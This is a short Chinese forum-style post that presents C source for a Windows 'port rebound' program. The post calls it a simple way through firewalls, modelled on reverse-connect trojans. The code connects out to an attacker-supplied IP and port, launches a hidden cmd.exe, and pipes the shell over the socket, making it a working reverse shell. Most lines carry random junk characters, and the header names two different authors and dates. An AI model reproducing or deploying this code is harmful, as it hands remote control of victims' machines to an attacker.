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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ( 0Naf  
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/* ============================== Gzt=u"FV  
Rebound port in Windows NT E1Q0k5@  
By wind,2006/7 e kQrW%\3  
===============================*/ BF8"rq}r0  
#include X6RQqen3:  
#include Uh|>Skic4  
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#pragma comment(lib,"wsock32.lib") BRbV7&  
ohc1 ~?3b  
void OutputShell(); Bmo$5$  
SOCKET sClient; VjbG(nB?_  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WW "i  
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void main(int argc,char **argv) nhdTTap&9  
{ 0O2n/`'  
WSADATA stWsaData; sI 4yG  
int nRet; U!e6FHj7  
SOCKADDR_IN stSaiClient,stSaiServer; 2L\3S ukj  
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if(argc != 3) {<w +3Va  
{ BH@b1}  
printf("Useage:\n\rRebound DestIP DestPort\n"); UP2.]B!d  
return; */OI *{Q  
} %85Icg  
W7UtA.2LT  
WSAStartup(MAKEWORD(2,2),&stWsaData); FA>1x*;c  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); en9en=n|  
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stSaiClient.sin_family = AF_INET; Sl~x$9`  
stSaiClient.sin_port = htons(0); X QbNH~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L2-^! '  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) b>cafu  
{ /N^~U&7  
printf("Bind Socket Failed!\n"); 'pP-rdx  
return; `1p 8C%  
} tfiqr|z  
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stSaiServer.sin_family = AF_INET; -!*p*3|03|  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Q e1oT)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #Ws 53mT  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5M?mYNQR/H  
{ X<MpN5%|Wo  
printf("Connect Error!"); 6Dm+'y]l  
return; :%_q[}e  
} HdQj?f3  
OutputShell(); Li`hdrO'ii  
} ]TK=>;&  
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void OutputShell() t]m!ee8*X<  
{ 02 f9 wV  
char szBuff[1024]; TGWdyIk  
SECURITY_ATTRIBUTES stSecurityAttributes; D6=HYqdj  
OSVERSIONINFO stOsversionInfo; BpT"~4oV5  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qj?2%mK`  
STARTUPINFO stStartupInfo; Sa]Ek*  
char *szShell; V 4qtaHf  
PROCESS_INFORMATION stProcessInformation; 5RA<Z.  
unsigned long lBytesRead; o+)A'S  
/)1v9<vM"  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (zah890//  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); z Bf;fi  
stSecurityAttributes.lpSecurityDescriptor = 0; ^eTZn[qH>w  
stSecurityAttributes.bInheritHandle = TRUE; -qn[HXq  
~%aJFs  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #)i&DJ^Y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); aG3k4  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4%bTj,H#  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hptq,~_t  
stStartupInfo.wShowWindow = SW_HIDE;  [y{E  
stStartupInfo.hStdInput = hReadPipe; ~PUsgL^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =49o U  
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GetVersionEx(&stOsversionInfo); z<QIuq  
SL*DK.  
switch(stOsversionInfo.dwPlatformId) E*4t8  
{  Rkv  
case 1: >6K4b/.5w  
szShell = "command.com"; m'.T2e.u  
break; 4]"w b5%  
default: fu>Qi)@6a1  
szShell = "cmd.exe"; Fg@ ACv'@  
break; 3Wj,}  
} r } 7:#XQ  
ib Ue*Z["1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); F^TAd  
LV=^jsQ5  
send(sClient,szMsg,77,0); -R@JIe_28f  
while(1) ,^+#M{Z  
{ 2E$i_jc  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s*{mT6s+T  
if(lBytesRead) }B*,mn2N  
{ 9L=;KtE1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); | M _%QM.  
send(sClient,szBuff,lBytesRead,0); )=(n/vckM  
} z[FI2jl  
else 9 d] tjT  
{ T+BIy|O  
lBytesRead=recv(sClient,szBuff,1024,0); ![q }BU4  
if(lBytesRead<=0) break; @fDQ^ 4  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); NV(fN-L  
} R8{e&n PE  
} b60[({A\s&  
b#}t:yy  
return; ?k w/S4  
}
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